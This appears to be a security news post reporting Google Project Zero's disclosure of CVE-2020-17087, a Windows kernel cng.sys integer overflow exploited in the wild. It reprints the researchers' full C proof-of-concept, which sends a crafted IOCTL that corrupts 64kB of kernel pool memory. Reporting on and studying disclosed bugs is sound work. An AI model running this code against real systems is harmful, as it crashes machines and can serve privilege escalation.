Skip to content

CVE-2020-17087 – Windows Kernel local privilege escalation 0day

Security researchers from Google Project Zero team has disclosed a zero-day vulnerability in Windows OS and that it is currently being exploited in the wild.

Credited: Mateusz Jurczyk and Sergei Glazunov of Google Project Zero

The Windows Kernel Cryptography Driver (cng.sys) exposes a \Device\CNG device to user-mode programs and supports a variety of IOCTLs with non-trivial input structures. It constitutes a locally accessible attack surface that can be exploited for privilege escalation,” Mateusz Jurczyk

The details about the bug were first reported on a Google discussion board on October 22. And due to the flaw being exploited in the wild, the information was then made public after seven days, per Google’s policy (for bugs that are not targeted, vendors are given 90 days to patch).

Project Zero’s lead Ben Hawkes recently said in a tweet that Microsoft plans to issue a patch on November 10.

Microsoft has not confirmed this date as of yet.

 

“The integer overflow occurs in line 2, and if SourceLength is equal to or greater than 0x2AAB, an inadequately small buffer is allocated from the NonPagedPool in line 3. It is subsequently overflown by the binary-to-hex conversion loop in lines 5-10 by a multiple of 65536 bytes.

The source code of a proof-of-concept program is attached. It was tested on an up-to-date build of Windows 10 1903 (64-bit), but the vulnerability is believed to be present since at least Windows 7. A crash is easiest to reproduce with Special Pools enabled for cng.sys, but even in the default configuration the corruption of 64kB of kernel data will almost surely crash the system shortly after running the exploit.”

Mateusz Jurczyk

 

Proof of Concept was included in Google post:

#pragma comment(lib, "ntdll")

#include <cstdio>
#include <windows.h>

int main() {
  HANDLE hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng",
    GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

  if (hCng == NULL) {
    printf("[-] Failed to open \\Device\\Cng: %u\n", GetLastError());
    return 1;
  }

  printf("[+] \\Device\\Cng opened, handle: %p\n", hCng);

  //
  // DataBufferSize overflows when used for allocating memory in
  // cng!CfgAdtpFormatPropertyBlock as (uint16)(DataBufferSize * 6).
  //
  // In this proof-of-concept, an allocation of (uint16)(0x2AAB * 6) = 2
  // bytes is requested while 0x2AAB * 6 = 0x10002 bytes are written to it.
  //
  CONST DWORD DataBufferSize = 0x2AAB;
  CONST DWORD IoctlSize = 4096 + DataBufferSize;
  BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);

  RtlZeroMemory(IoctlData, IoctlSize);

  *(DWORD*)    &IoctlData[0x00] = 0x1A2B3C4D;
  *(DWORD*)    &IoctlData[0x04] = 0x10400;
  *(DWORD*)    &IoctlData[0x08] = 1;
  *(ULONGLONG*)&IoctlData[0x10] = 0x100;
  *(DWORD*)    &IoctlData[0x18] = 3;
  *(ULONGLONG*)&IoctlData[0x20] = 0x200;
  *(ULONGLONG*)&IoctlData[0x28] = 0x300;
  *(ULONGLONG*)&IoctlData[0x30] = 0x400;
  *(DWORD*)    &IoctlData[0x38] = 0;
  *(ULONGLONG*)&IoctlData[0x40] = 0x500;
  *(ULONGLONG*)&IoctlData[0x48] = 0x600;
  *(DWORD*)    &IoctlData[0x50] = DataBufferSize; // OVERFLOW
  *(ULONGLONG*)&IoctlData[0x58] = 0x1000;
  *(ULONGLONG*)&IoctlData[0x60] = 0;
  RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12);
  RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12);

  ULONG_PTR OutputBuffer = 0;
  DWORD BytesReturned;
  BOOL Status = DeviceIoControl(
    hCng,
    0x390400,
    IoctlData,
    IoctlSize,
    &OutputBuffer,
    sizeof(OutputBuffer),
    &BytesReturned,
    NULL
  );

  printf("[+] Ioctl sent, Status: %d, OutputBuffer: %zx\n", Status, OutputBuffer);

  HeapFree(GetProcessHeap(), 0, IoctlData);
  CloseHandle(hCng);

  return 0;
}